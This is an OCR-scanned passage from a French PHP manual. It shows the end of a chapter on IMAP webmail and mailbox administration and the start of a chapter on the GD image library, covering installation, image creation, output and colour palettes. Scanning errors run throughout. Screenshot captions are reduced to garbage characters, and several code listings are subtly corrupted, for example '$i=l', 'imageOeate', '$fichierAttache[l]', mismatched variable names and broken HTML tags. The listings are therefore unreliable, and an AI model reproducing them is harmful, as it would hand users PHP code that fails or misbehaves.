$structure = imap_fetchstructure($connexion, $_GET["numero"]) ; 
$parties = $structure->parts; 
$fichierAttache = array(); 
$i=l; 
if ($parties) { 

foreach ($parties as $partie) { 

// Pour chacune des sous-parties, on verifie le type 
// pour 1'afficher ou bien l'indiquer comme fichier attache, 
switch ($partie->type) { 
case TYPETEXT: 
echo "<pre>". 

imap_fetchbody($connexion, $_GET["numero"] , $i) ."</pre>"; 
break; 
default: 

$parametres = $partie->dparameters; 
foreach ($parametres as $parametre) { 

if ($parametre->attribute == "filename") { 
$fichiersattaches[] = 

array ($i, $parametre->value) ; 
break; 
} 
} 
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$i++; 



} 
else 



// Sinon il n'y a qu'une partie 

// qui est le corps du message (texte general ement) 

echo "<pre>" .imap_fetchbody($connexion, 

$_GET["numero"] , $i) ."</pre>"; 

} 

if ($fichiersattaches) { 



<?php 



<h2xfont color="blue">Fichiers attaches</fontx/h2> 

foreach($fichiersattaches as $fichierAttache) { 
echo $fichierAttache[l] ."<br />"; 

} 



?> 

</body> 
</html> 



^—^—7^7 



Fichier Edition Affichage Favoris Gutils ? 

CJ Precedents ' <C O Rechercher S Y Favoris M> Media ^^ 

b.i::i:)m::!A^ypeserv3Lir=in-;ap)&!OT OK Liens 



Message 



B-rooui: imap, 

il fait beau a Washington, 



C1J, 
Tom. 



Figure 12.6 : Exemple sans fichier attache 

Ce webmail tres simple ne montre que les bases des applications de ce genre. En quelques 
lignes seulement, il a ete possible d'interroger un compte et de recuperer des messages. Libre 
a vous d'exploiter au mieux les fonctions fournies dans la bibliotheque imap pour etoffer ce 
script. 
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Q| Precedente - £ @ [*] r ci ^P Rechercher ^ Favoris ^Jf* Media ^) 



Adresse |g|le 



=i ma p &i a gin = irri a pijpt 01 j r e s : f ( 



Message 



ticiijour iitiap, 



Cocdialernen 

Thomas 



Fichiers attaches 

Image4.pcx 
Imagel.pcx 
Image2.pcx 
Image3.pcx 



Figure 12.7 : Exemple avec fichiers attaches 

Administration des boites a lettres 



imap_get_quota() 
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Recupere les quotas d'une boite a lettres. II faut que I'identifiant de la boite a lettres ait ete 
recupere par la fonction imap_open ( ) avec les login et mot de passe de l'admmistrateur. 



Syntaxe 

$identifiantBal 

$bal 

retour 



array imap_get_quota(resource $identifiantBal , string $bal) 

Identifiant tel que retourne par imap_open ( ) . 

Nom de la boite a lettres dont on veut les quotas (ex : user . emma). 

Un tableau associatif avec les cles usage pour connaitre l'espace occupe 
et limit pour connaitre la taille de la boite a lettres. 



Le script suivant est cense afficher les quotas de l'utilisateur Emma : 

<?php 

$bal = imap_open("{mail .monsite.com:143/imap}","loginadmin", 

"passwordadmin",OP_HALFOPEN); 
$tableau = imap_get_quota($bal , "user. emma") ; 
if (is_array($tableau)) { 

echo "Espace occupe : " . $tableau['usage'] ; 

echo "Quota : " . $tableau[' limit'] ; 

} 

imap_close($bal ) ; 
?> 
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imap_set_quota() 



Definit les quotas d'une boite a lettres. II faut que l'identifiant de la boite a lettres ait ete 
recupere par la fonction imap_open ( ) avec les login et mot de passe de l'administrateur. 

Syntaxe boolean imap_get_quota(resource $identifiantBal , string $bal , 

string $1 imite) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$bal Nom de la boite a lettres dont on veut definir les quotas (ex. : 

user. emma). 

$1 imite LimiteenKo. 

retour TRUE si le changement de quota s'est effectue, FALSE sinon. 



imap_createMailbox () 

Cree une nouvelle boite a lettres. 

Syntaxe boolean imap_createMailbox(resource $identifiantBal , string 

$bal) 

$i denti fi antBal Identifiant tel que retourne par imap_open ( ) . 

$bal Nom de la boite a creer. 

retour TRUE si l'operation s'est bien effectuee, FALSE sinon. 



^j) Accents 

*» Les noms de boites a lettres contenant des accents doivent d'abord etre encodes par 

REMARQUE l a fonction imap_utf7_encode ( ). 

Voici un exemple creant un dossier Test. 

Listing 12.28 : imapcreatemailbox.php 

<?php 

$bal = imap_open("{mail .monsite.com:143/imap}INB0X", 
"monlogin", "monpassword") ; 

imap_createMailbox($bal , "{mail .monsite. com: 143/imap} INBOX. Test") ; 

imap_close($bal) ; 
?> 
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imap_deleteMailbox () 

Supprime une boite a lettres. 

Syntaxe boolean imap_deleteMailbox(resource $identifiantBal , string 

$bal) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$ b a 1 Nom de la boite a supprimer. 

retour TRUE si l'operation s'est bien effectuee, FALSE sinon. 

Voici un exemple supprimant le dossier Test . 

Listing 12.29 : imapdeletemailbox.php 

<?php 

$bal = imap_open("{mail .monsite.com:143/imap}INB0X", 
"monlogin", "monpassword") ; 

imap_deleteMailbox($bal , "{mail .monsite.com: 143/imap} INBOX. Test") ; 

imap_close($bal ) ; 
?> 



imap_renameMailbox () 

Permet de renommer une boite a lettres. 

Syntaxe boolean imap_renameMailbox(resource $identifiantBal , string 

$ancienNom, string $nouveauNom) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$ancienNom Ancien nom de la boite a lettres. 

$nouveauNom Nouveau nom de la boite a lettres. 

retour TRUE si la boite a ete renommee. 

Voici un exemple d'utilisation : 

Listing 12.30 : imaprenamemailbox.php 

<?php 

$bal = imap_open("{mail .monsite.com:143/imap}", 

"monlogin", "monpassword") ; 
imap_renameMailbox($bal ,"{mail .monsite.com: 143/imap} .INBOX. ancien", 

"{mail .monsite.com: 143/imap} .INBOX. nouveau") ; 
imap_close($bal ) ; 
?> 
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Chapitre 1 3 



Les images et les 
animations Flash 



13.1 Images (utilisation de la bibliotheque GD) 1023 

13-2 Les animations Flash 1082 



Images (utilisation de la bibliotheque GD) 



13.1. Images (utilisation de la bibliotheque GD) 

La bibliotheque gd, ecrite en C, permet de creer des images aux formats JPEG, PNG, WBMP, 
GD et de lire un certain nombre d'autres formats (comme XPM et XPM). Auparavant, elle 
offrait la possibilite de creer des images au format GIF, mais cela n'est plus supporte depuis la 
modification de la licence d'utilisation du format GIF (licence qui ne concerne pas l'Europe). 
II est cependant possible de modifier la bibliotheque gd afin de creer egalement des images au 
format GIF. 

Meme si vous etes a meme de dessiner de belles figures geometriques, comme des fractales, 
l'utilisation de cette bibliotheque vous servira certainement plutot a tracer des diagrammes de 
statistiques (histogrammes, camemberts, etc.) ou a utiliser des polices d'ecriture exotiques. 

A la fin de ce chapitre, nous etudierons particulierement la creation des histogrammes. A 
travers cet exemple, nous verrons les principales fonctions disponibles grace a cette 
bibliotheque. 

Nous presenterons egalement quelques fonctions en marge de la bibliotheque gd, qui 
permettent de recuperer des informations sur un fichier (type, taille, etc.). Ce qui permet, par 
exemple, de faire une page de previsualisation d'images. 



Licence GIF (LZW) 

La licence empechant l'utilisation du format GIF n 'a desormais plus court dans la 
plupart des pays. Pour certain pays toutefois celle-ci court encore jusqu 'en juillet 
2004. Ilfaudra done attendre cette date pour esperer retrouver un support officiel de 
format GIF par la bibliotheque GD. 

Installation 

Sous Windows 

Avec l'archive du PHP Group 

Sans support GIF 

Vous devrez vous assurer d'avoir le fichier php_gd2.dll (livre dans l'archive PHP distribute par 
le PHP Group) dans votre repertoire contenant les extensions PHP, et ajouter a votre fichier 
php.ini ou decommenter une ligne 

extension=php_gd2.dll 

Avec les versions de PHP<4.3.2, l'archive contenait egalement (ou a la place) un fichier 
php_gd.dll permettant l'utilisation de la version 1 de GD. 

Depuis PHP 4.3.9, le support de GIF en lecture et ecriture est retabli. 

Avec support GIF 

Si vous souhaitez disposer d'une librairie gd (<2.0) supportant le format GIF, vous devez 
telecharger un fichier php_gd_gif.dll (habituellement disponible sur http://www.php4win.com). Fi- 
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chier que vous copierez dans votre repertoire contenant les extensions PHP. II vous suffira alors 
d'ajouter a votre fichier php.ini, une ligne 

extension=php_gd_gif .dll 

Avec EasyPHP 

Sans support GIF 

Avec EasyPHP 1.6, le support de GD (<2.0) est active automatiquement. 

Si vous souhaitez le support de GD 2 vous devrez modifier le fichier php.ini afin de 
decommenter la ligne concernant GD 2. 

extension=php_gd2.dl 1 

Avec support GIF 

Si vous souhaitez le support de GD (<2.0) avec GIF, vous devez modifier le fichier php.ini afin 
de commenter la ligne concernant GD (<2.0) sans GIF, et decommenter celle concernant GD 
(<2.0 avec support GIF. 

;extension=php_gd.dl 1 
extension=php_gd_gif .dll 

Sous Linux 

reinstallation de la bibliotheque gd necessite (selon les besoins) la presence prealable des 
bibliotheques (de developpement) libpng et zlib pour le format PNG, j peg- 6b (ou 
superieur) pour le format JPEG, freetype et/ou xpm. Ces bibliotheques sont generalement 
fournies avec les distributions Linux. II suffit alors de les installer (si cela n'a pas ete fait 
precedemment). Le plus simple consiste encore a utiliser les paquetages .rpm. 

/£) Exemple avec une distribution Mandrake 9,1 

"**^ // vous suffit de "monter" le CD-ROM de la distribution (mount /mnt/cdrom), de 

REMARQUE vous deplacer dans I'arborescence (cd /mnt/cdrom/Mandrake/RPMS) et de lancer les 
installations : 

rpm -U zlibl-1.1.4-5mdk.i586.rpm 

rpm -U zlibl-devel-1.1.4-5mdk.i586.rpm 

rpm -U 1 ibpng3-1.2.5-2mdk.i586.rpm 

rpm -U 1 ibpng3-devel-1.2.5-2mdk.i586.rpm 

rpm -U 1 ibjpeg62-6b-26mdk.i586.rpm 

rpm -U 1 ibjpeg62-devel-6b-26mdk.i586.rpm 

rpm -U freetype-1.3.1-18mdk.i586.rpm 

rpm -U freetype2-2.1.3-12mdk.i586.rpm 

rpm -U freetype2-devel-2.1.3-12mdk.i586.rpm 
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Vous devez, dans un premier temps, recuperer la bibliotheque gd, disponible sur le site (en 
anglais) http://www.boutell.com/gd/ (elle est egalement disponible sur le CD-ROM fourni). Si tou- 
tefois vous souhaitez egalement profiter du format GIF vous devez recuperer une version 
modifiee sur le site (anglais) http://www.rhyme.com.au/gd/ (elle est egalement disponible sur le 
CD-ROM fourni). Dans ce cas, vous devrez remplacer les references a gd-2.0.15 par 

gd-2.0.15gif-030801. 

Vous pouvez copier l'archive sous /usr/local/src/lib. 

II vous suffit alors de decompresser l'archive : 

# gunzip gd-2. 0.15. tar. gz 

# tar xvf gd-2. 0.15. tar 

Et de lancer la generation et l'installation : 

# cd gd-2.0.15 

# ./configure 

# make 

# make install 

Vous devez a present disposer d'un fichier libgd.a sous le repertoire /usr/local/lib. 

Vous devrez ensuite recompiler PHP avec l'option — with-gd=/usr/local pour disposer 
d'un GD de base (ne supportant que WBMP et eventuellement GIF). A cette option, vous 
pouvez ajouter : 

■ — with-jpeg-dir=/usr pour le support du format JPEG ; 

— with-png-dir=/usr — with-zlib-dir=/usr pour le Support du format PNG. 

A vous d'ajuster les chemins precises. lis doivent correspondre aux repertoires contenant le 
repertoire lib/ contenant les fichiers libjpeg. *, libpng. *, libz . *, etc. 



1 Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 
compilation de PHP. 



RENVOI 



Verification 

Vous pouvez verifier le bon deroulement des operations d'installation en appelant un simple 
script contenant <?php phpinf o ( ) ; ?>. Celui-ci devra laisser apparaitre : 

Figure 13.1 : 

phpinf o() 



gd 


GD Support 


enabled 


GD Version 


2.0 or higher 


GIF Read Support 


enabled 


GIF Create Support 


enabled 


JPG Support 


enabled 


PNG Support 


enabled 


WBMP Support 


enabled 





Les lignes "Gif Read Support enabled" et "Gif Create Support enabled" n'apparaitront 
que si vous avez installe une version de gd supportant le format GIF. 
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Pour recuperer des informations sur GD vous pouvez egalement utiliser la fonction 
gd_inf o ( ) qui vous donnera les principales caracteristiques de la version installee. 



gd_info() 
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Retourne des informations sur la version de GD installee. Cette fonction n'existe que depuis 
PHP 4.3.0. 

Syntaxe: array gd_info (void) 

retour Un tableau avec pour index : 

GD Version : version de GD installee 

Freetype Support : TRUE si le support de Freetype est installe. 

Freetype Linkage : Si Freetype est installe, cette valeur retourne 'with 

freetype', 'with TTF library' ou 'with unknown library' selon la f agon dont a 

ete installe Freetype. 

TILib Support : TRUE si TILib est supporte. 

GIF Read Support : TRUE si la lecture des GIF est supportee. 

GIF Create Support : TRUE si la creation de GIF est supportee. 

JPG Support : TRUE si la manipulation de JPG est supportee. 

PNG Support : TRUE si la manipulation de PNG est supportee. 

WBMP Support : TRUE si la manipulation de WBMP est supportee. 

XBM Support : TRUE si la manipulation de XBM est supportee. 



Definition de l'image de base 



Tout d'abord, commencons par un rapide apercu des differents formats d'image que la 
bibliotheque est capable de generer. 

GIF : il s'agit d'un format de compression d'image, sans perte, limite a 256 couleurs et 
pouvant (depuis les dernieres normes) comporter une "couleur" transparente. II est 
particulierement adapte aux dessins (images avec des contours nets et des regions de 
couleur uniforme). 

PNG : il s'agit d'un format de compression d'image, sans perte, pouvant supporter jusqu'a 
16 millions de couleurs. 

JPEG : il s'agit d'un format de compression d'image, avec perte, pouvant supporter jusqu'a 
16 millions de couleurs. Le taux de compression (et done de perte) est ajustable, et a un 
impact significatif sur la taille du fichier et la qualite de l'image. Ce format est 
particulierement adapte aux photos (nombreuses nuances de couleurs et peu de contours 
nets). 

WBMP : il s'agit du format d'image utilise par les applications WAP, sans perte ni 
compression, et limite a deux couleurs. 

GD et GD 2 : sont des formats propres a la bibliotheque GD. 
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Avant d'envoyer les donnees liees a l'image, vous devrez prevenir le navigateur du type des 
donnees que vous lui communiquez. II suffit pour cela d'ecrire, selon les cas : 

header("Content-type: image/gif") ; 

header("Content-type: image/png") ; 

header("Content-type: image/jpeg") ; 

header("Content-type: image/vnd.wap.wbmp") ; 

A vous de choisir l'en-tete correspondant en fonction du fichier que vous souhaitez fournir, et 
des possibilites offertes par la bibliotheque gd installee. 



REMARQUE 



w 



Deboguer 

Une fois l'en-tete envoye au navigateur, vous ne serez plus en mesure de voir les 
eventuels messages d'erreur rapportes par les fonctions appelees par la suite. Pour 
deboguer ce genre de script, vous serez done amene a commenter la ligne de l'en-tete 
ou a la deplacer pour I'appeler au tout dernier moment (juste avant d'envoyer les 
donnees). 



Vous pouvez vous reporter a {'annexe "Les en-tetes HTTP" pour plus d' informations. 



RENVOI 



Pour construire l'image (les donnees a envoyer au navigateur), vous devez d'abord definir un 
canevas (un espace de travail avec un identifiant). Pour cela, vous pouvez soit creer une 
nouvelle image, soit vous resservir d'une image existante. 

Pour creer une nouvelle image, il suffit de faire appel a la fonction imagecreate ( ) qui 
retourne un identifiant pour cette image. 



imageCreate() 

Cree un nouvel identifiant d'image. Pour une image de 256 couleurs. 

Syntaxe resource imageCreate(int $largeur, int $hauteur) 

$largeur Largeur de l'image. 

$hauteur Hauteur de l'image. 

retour Identifiant de l'image. 

Pour une image de 200 pixels de largeur et 300 de hauteur : 

$image = imageCreate(200,300) ; 

imagecreate ( ) est limite a une palette de 256 couleurs. Pour en utiliser plus, il faut creer 
l'image a l'aide de : 
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Chapitre 1 3 Les images et les animations Flash 



imageCreateTrueColor () 

Cree un nouvel identifiant d'image. Pour une image de 16 millions de couleurs. 
Syntaxe resource imageCreateTrueColor(int $largeur, int $hauteur) 

$largeur Largeur de l'image. 

$hauteur Hauteur de l'image . 

retour Identifiant de l'image. 

Pour creer une image a partir d'une image existante, en fonction du type du fichier d'image que 
Ton souhaite recuperer, il existe toute une panoplie de fonctions qui prennent toutes en 
parametre le chemin du fichier a ouvrir : 



imageCreateFromGD () 

Cree un nouvel identifiant d'image a partir d'une image GD existante. 
Syntaxe resource imageCreateFromGD(string $nomFichier) 

$nomFi ch i er Nom du fichier contenant les donnees devant servir de base a la nouvelle 

image. 

retour Identifiant d'image. 



imageCreateFromGD2 () 

Cree un nouvel identifiant d'image a partir d'une image GD 2 existante. 
Syntaxe resource imageCreateFromGD2(string $nomFichier) 

$nomFi chi er Nom du fichier contenant les donnees devant servir de base a la nouvelle 

image. 

retour Identifiant d'image. 



imageCreateFromGIF () 



Cree un nouvel identifiant d'image a partir d'une image GIF existante. 

Syntaxe resource imageCreateFromGIF(string $nomFichier) 

$nomFi ch i er Nom du fichier contenant les donnees devant servir de base a la nouvelle 

image. 

retour Identifiant d'image. 
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imageCreateFromJPEG () 



Cree un nouvel identifiant d'image a partir d'une image JPEG existante. 

Syntaxe resource imageCreateFromJPEG (string $nomFichier) 

$nomFi chi er Nom du fichier contenant les donnees devant servir de base a la nouvelle 

image. 

retour Identifiant d'image. 



imageCreateFromPNG () 



Cree un nouvel identifiant d'image a partir d'une image PNG existante. 

Syntaxe resource imageCreateFromPNG (string $nomFichier) 

$nomFi chi er Nom du fichier contenant les donnees devant servir de base a la nouvelle 

image. 

retour Identifiant d'image. 



imageCreateFromWBMP () 



Cree un nouvel identifiant d'image a partir d'une image WBMP existante. 

Syntaxe resource imageCreateFromWBMP(string $nomFichier) 

$nomFi chi er Nom du fichier contenant les donnees devant servir de base a la nouvelle 

image. 

retour Identifiant d'image. 
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imageCreateFromXBM () 



Cree un nouvel identifiant d'image a partir d'une image XBM existante. 

Syntaxe resource imageCreateFromXBM(string $nomFichier 

$nomFichier 



retour 



Nom du fichier contenant les donnees devant servir de base a la nouvelle 
image. 

Identifiant d'image. 
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Chapitre 1 3 Les images et les animations Flash 



imageCreateFromXPM () 

Cree un nouvel identifiant d'image a partir d'une image XPM existante. 
Syntaxe resource imageCreateFromXPM(string $nomFichier) 

$nomFi chi er Nom du fichier contenant les donnees devant servir de base a la nouvelle 

image. 

retour Identifiant d'image. 

Une autre fonction permet de n'utiliser qu'une partie d'une image GD 2 ; sa signature est la 
suivante : 



imageCreateFromGD2Part () 

Cree un nouvel identifiant d'image a partir d'un sous-ensemble d'une image GD 2 existante. 

Syntaxe resource imageCreateFromGD2Part (string $nomFichier, int 

$sourceX, int $sourceY, int $largeur, int $hauteur) 

$nomFichier Nom du fichier GD 2 contenant les donnees devant servir de base a la 

nouvelle image. 

$sourceX Ordonnee du point superieur gauche de la partie extraite (0 = gauche de 

l'image). 

$sourceY Abscisse du point superieur gauche de la partie extraite (0 = haut de 

l'image). 

$1 argeur Largeur de la partie extraite. 

$hauteur Hauteur de la partie extraite. 

i nt Identifiant de l'image. 

Une fois l'image creee, il suffit de l'envoyer vers le navigateur a 1'aide d'une des fonctions 
suivantes. A la place, il est egalement possible de sauvegarder l'image dans un fichier en 
renseignant le parametre $nomFichier : 



imageGDQ 



Envoie au navigateur, ou sauvegarde dans un fichier, les donnees de l'image au format GD. 
Syntaxe boolean imageGD(resource $image [, string $nomFichier] ) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famine de fonctions imageCreateFromXX ( ) . 

$nomFi chi er Nom du fichier dans lequel sauvegarder l'image. 

retour FALSE en cas d'erreur. 
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imageGD2() 

Envoie au navigateur, ou sauvegarde dans un fichier, les donnees de l'image aii format GD 2. 

Syntaxe boolean imageGD2 (resource $image [, string $nomFichier]) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$nomFi chi er Nom du fichier dans lequel sauvegarder l'image. 

retour FALSE en cas d'erreur. 

imageGIF() 

Envoie au navigateur, ou sauvegarde dans un fichier, les donnees de l'image au format GIF. 

Syntaxe boolean imageGIF(resource $image [, string $nomFichier] ) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$nomFi chi er Nom du fichier dans lequel sauvegarder l'image. 

retour FALSE en cas d'erreur. 



imageJPEGO 

Envoie au navigateur, ou sauvegarde dans un fichier, les donnees de l'image au format JPEG. 

Syntaxe boolean imageJPEG(resource $image [, string $nomFichier [, int 

$qualite]]) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$nomFi chi er Nom du fichier dans lequel sauvegarder l'image. (Mettre une chaine vide 

si vous souhaitez preciser une qualite, mais ne pas sauvegarder l'image 
dans un fichier). 

$qual ite Valeur entre 1 (moins bonne qualite, plus fort taux de compression) et 

100 (meilleure qualite, plus faible taux de compression). Par defaut, le 
facteur de qualite est d'environ 7 5. 

retour FALSE en cas d'erreur. 
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Chapitre 1 3 Les images et les animations Flash 

imageWBMPO 

Envoie au navigateur, ou sauvegarde dans un fichier, les donnees de l'image aii format WBMP. 

Syntaxe boolean imageWBMP(resource $image [, string $nomFichier [, int 

$couleurPrincipale]] ) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$nomFi chi er Nom du fichier dans lequel sauvegarder l'image. (Mettre une chaine vide 

si vous souhaitez preciser la couleur principale, mais ne pas sauvegarder 
l'image dans un fichier). 

$coul eurPri nci pal e Couleur de premier plan (par defaut : noir) . 

retour FALSE en cas d'erreur. 



image2WBMP() 

Envoie au navigateur, ou sauvegarde dans un fichier, les donnees de l'image au format WBMP. 

Syntaxe boolean image2WBMP(resource $image [, string $nomFichier [, 

int $seuil]]) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$nomFi ch i er Nom du ficher dans lequel sauvegarder l'image. (Mettre une chaine vide si 

vous souhaitez preciser un seuil, mais ne pas sauvegarder l'image dans un 
fichier). 

retour FALSE en cas d'erreur. 

Pour liberer la memoire occupee, il suffit d'appliquer la fonction imageDestroy ( ) a l'image. 



imageDestroyO 

Libere les ressources allouees par l'image. 

Syntaxe boolean imageDestroy(resource $image) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

retour TRUE. 

Afin de clarifier les choses, voici un exemple tout simple d'utilisation. Le script suivant affiche 
simplement une image au format JPEG a partir d'une image au format GIF. Ce qui, 
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notamment si l'image est une photo, permet, a priori, de reduire la taille de l'image transferee. 
En pratique, on aura tout interet a realiser manuellement l'operation une bonne fois pour 
toutes, plutot que d'appeler ce script chaque fois que 1'image est consultee. 

Listing 13.1 : gdOO.php 

<?php 

// Precise au navigateur le type de donnees 
// qu'il est sur le point de recevoir 
header("Content-type: image/jpeg") ; 

// Prepare une nouvelle image a parti r 

// d'une image au format GIF 

$image = imageCreateFromGIF("image.gif") ; 

// Envoie l'image au format JPEG 

// Avec un facteur de qualite de 90% 

imageJPEG($image, "", 90); 

// Libere les ressources 

// Meme si, c'est surtout utile pour 

// les images intermedial res ou bien lorsque l'image 

// est stockee dans un fichier et que le script continue 

imageDestroy($image) ; 



A titre d'information, si vous sauvegardez l'image obtenue, vous constaterez, qu'avec l'image 
d'exemple, nous avons reduit la taille des donnees d'un facteur 3. 

L'image pourra etre consultee directement en appelant l'URL de gd_00.php depuis le navigateur 
ou par le biais d'une page HTML contenant le code utilise pour n'importe quelle image : 

<img src="gd_00.php" /> 

La palette de couleurs 

Les couleurs possedent trois composantes : une rouge, une verte et une bleue. En informatique, 
chacune de ces composantes est generalement codee sur un octet, et peut done prendre une 
valeur entre et 255. II est ainsi possible de definir 16 millions de couleurs. Cependant, tous les 
formats d'image ne sont pas capables de supporter 16 millions de couleurs : beaucoup 
n'utilisent qu'un seul octet pour definir la couleur d'un pixel. II faut done trouver le moyen de 
passer d'une information sur 3 octets (les trois composantes de la couleur) a une sur un seul 
octet. Pour cela, il suffit d'avoir une table de correspondances aussi appelee palette de couleurs. 

Ainsi, pour pouvoir utiliser une couleur, il faut au prealable 1'ajouter a la palette et recuperer 
un identifiant de couleur. Pour cela, vous devez utiliser la fonction imageColorAllocate ( ) . 

La signature de cette fonction est la suivante : 
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imageColorAllocate () 
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Ajoute une couleur a la palette de couleurs 
Syntaxe 



$ image 

$rouge 
$vert 
$bleu 
retour 



int imageColorAl locate(resource $image, int $rouge, int $vert, 
int $bleu) 

Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 
la famille de fonctions imageCreateFromXX ( ) . 

Composante rouge de l'image (comprise entre et 255). 

Composante verte de l'image (comprise entre et 255). 

Composante bleue de l'image (comprise entre et 255). 

Identifiant de couleur ou - 1 en cas d'erreur. 



Notez que la premiere couleur ainsi definie servira de couleur de fond. 
Voici quelques exemples de definition d'une couleur : 



$blanc 

$noir 

$gris_l 

$gris_2 

$gris_3 

$rouge 

$vert 

$bleu 

$mauve 

$jaune 



imageCol 
imageCol 
imageCol 
imageCol 
imageCol 
imageCol 
imageCol 
imageCol 
imageCol 
imageCol 



orAl locate 
orAl locate 
orAl locate 
orAl locate 
orAl locate 
orAl locate 
orAl locate 
orAl locate 
orAl locate 
orAl locate 



iimage, 255, 255, 255); 

iimage, 0, 0, 0); 

Iimage, 50, 50, 50); 

iimage, 100, 100, 100); 

iimage, 150, 150, 150); 

iimage, 255, 0, 0); 

iimage, 0, 255, 0): 

iimage, 0, 0, 255); 

iimage, 100, 0, 100); 

iimage, 0, 100, 100); 



II est egalement possible de definir une "couleur" transparente, mais il faut toutefois, au 
prealable, creer un nouvel element dans la palette avec imageColorAllocate ( ) . Peu 
importent alors les composantes choisies, les points utilisant cette couleur seront transparents 
(en fait, la couleur pourrait apparaitre pour les logiciels ne gerant pas la transparence). 



Pour cela, il suffit d'indiquer l'identifiant de 

imageColorTransparent ( ) . 



la couleur a la fonction 



imageColorTransparent () 



Definit un element de la palette comme transparent. 

Syntaxe int imageColorTransparent (resource $image [, int $couleur]) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 
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$couleur Identifiant de la couleur tel que retourne par la fonction 

imageColorAl locate ( ) . Si ce parametre est omis, c'est la couleur par 
defaut qui est utilisee (la premiere couleur allouee). 

retour Identifiant de la couleur rendue transparente. 

Voici un morceau de script pour generer une image au format PNG, de 250 pixels sur 200, avec 
un fond noir : 

Listing 13.2 : gd_01.php 

<?php 

header("Content-type: image/png") ; 

$largeur = 250; 

$hauteur = 200; 

$image = imageOeate($largeur, $hauteur) ; 

$noir = imageColorAllocate($image, 0, 0, 0); 

// c'est ici que l'on dessinera sur 1' image 

imagePNG($image) ; 

imageDestroy($image) ; 
?> 

Le meme script avec une couleur de fond transparente : 

Listing 13.3 : gd_02.php 

<?php 

header("Content-type: image/png") ; 

$largeur = 250; 

$hauteur = 200; 

$image = imageCreate($largeur, $hauteur) ; 

$noir = imageColorAllocate($image, 0, 0, 0); 

imageColorTransparent($image, $noir) ; 

// c'est ici que l'on dessinera sur 1' image 

imagePNG($image) ; 

imageDestroy($image) ; 
?> 

Recherche de couleurs dans la palette 

II est egalement possible de recuperer l'identifiant d'une couleur si celle-ci est disponible dans 
la palette (cela permet aussi de tester l'existence d'une couleur dans la palette). Pour cela, vous 
devrez faire appel a la fonction imageColorExact ( ) . 
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imageColorExact () 

Retourne l'identifiant de la couleur si la couleur existe dans la palette. 
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Syntaxe int imageColorExact(resource $image, int $rouge, int $vert, 

int $bleu) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$rouge Composante rouge de la couleur desiree. 

$verte Composante verte de la couleur desiree. 

$bl eu Composante bleue de la couleur desiree. 

retour Identifiant de la couleur precisee si elle existe dans la palette, -1 sinon. 

II existe une variante tenant compte de la composante Alpha (transparence). 



imageColorExactAlpha () 
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Retourne 1'identifiant de la couleur si la couleur existe dans la palette, en tenant compte de la 
composante Alpha (transparence). 

Syntaxe int imageColorExactAlpha(resource $image, int $rouge, int 

$vert, int $bleu, int $alpha) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$rouge Composante rouge de la couleur desiree. 

$verte Composante verte de la couleur desiree. 

$bl eu Composante bleue de la couleur desiree. 

$al pha Composante Alpha de la couleur desiree. 

retour Identifiant de la couleur precisee si elle existe dans la palette, -1 sinon. 

N'avoir a disposition que 256 couleurs lorsque Ton voudrait en utiliser 16 millions peut etre 
contraignant. II est toutefois possible de determiner quelle est, dans la palette de 256 couleurs, 
celle qui est la plus proche de celle que nous souhaiterions utiliser. 

Pour recuperer la couleur de la palette la plus proche d'une couleur que Ton definit, il existe 
plusieurs fonctions, qui se differencient par leur maniere d'aborder la notion de "plus proche". 



imageColorClosestQ 



Retourne 1'identifiant de la couleur de la palette la plus proche de la couleur voulue. En 
utilisant la distance euclidienne dans un espace a trois dimensions (rouge, vert, bleu). 

Autrement dit $distance = sqrt (pow($rouge2-$rougel, 2 ) +pow( $vert2-$vertl, 
2)+pow($bleu2-$bleul, 2)). 
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Syntaxe int imageColorClosest (resource $image, int $rouge, int $vert, 

int $bleu) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$rouge Composante rouge de la couleur desiree. 

$vert Composante verte de la couleur desiree. 

$ b 1 eu Composante bleue de la couleur desiree. 

retour Identifiant de la couleur la plus proche de la couleur desiree. 

II est egalement possible de tenir compte de la composante Alpha (transparence). 



imageColorClosestAlpha () 

Retourne l'identifiant de la couleur de la palette la plus proche de la couleur voulue. 

Syntaxe int imageColorClosestAlpha(resource $image, int $rouge, int 

$vert, int $bleu, int $alpha) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$rouge Composante rouge de la couleur desiree. 

$vert Composante verte de la couleur desiree. 

$bl eu Composante bleue de la couleur desiree. 

$al pha Composante Alpha de la couleur desiree. 

retour Identifiant de la couleur la plus proche de la couleur desiree. 

En pratique, la distance euclidienne appliquee aux composantes rouge, verte et bleue n'est pas 
ideale et n'offre pas toujours, de visu, le resultat attendu. II est done parfois preferable d'utiliser 
un autre algorithme. 
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imageColorClosestHWB () 



Retourne l'identifiant de la couleur la plus proche en appuyant le calcul sur les composantes 
Couleur, Saturation et Brillance. 

Syntaxe int imageColorClosestHWB(resource $image, int $rouge, int 

$vert, int $bleu) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$rouge Composante rouge de la couleur desiree. 

$vert Composante verte de la couleur desiree. 
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$bl eu Composante bleue de la couleur desiree. 
